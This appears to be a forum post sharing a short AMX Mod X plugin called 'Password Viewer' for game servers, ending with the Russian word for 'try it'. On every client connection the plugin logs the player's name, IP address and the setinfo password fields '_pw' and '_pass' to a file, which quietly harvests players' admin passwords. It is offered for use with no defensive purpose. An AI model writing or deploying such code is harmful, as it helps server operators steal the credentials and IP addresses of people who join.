Code
/* Plugin generated by AMXX-Studio */
#include <amxmodx>
#define PLUGIN "Password Viewer"
#define VERSION "0.1.0"
#define AUTHOR "PomanoB"
new const infoVields[][] =
{
"_pw",
"_pass"
}
public plugin_init()
{
register_plugin(PLUGIN, VERSION, AUTHOR)
}
public client_connect(id)
{
new name[32], data[128], text[1024], i, len
get_user_name(id, name, 31)
get_user_ip(id, data, 31,1)
len = format(text, charsmax(text),"User ^"%s^" connected from ip ^"%s^", info fields:", name, data)
for (i = 0; i < sizeof infoVields; i++)
{
get_user_info(id, infoVields[i], data, 127)
len += format(text[len], charsmax(text) - len, "^n^t%s:%s", infoVields[i], data)
}
log_to_file("password_logs.log",text)
}
Попробуй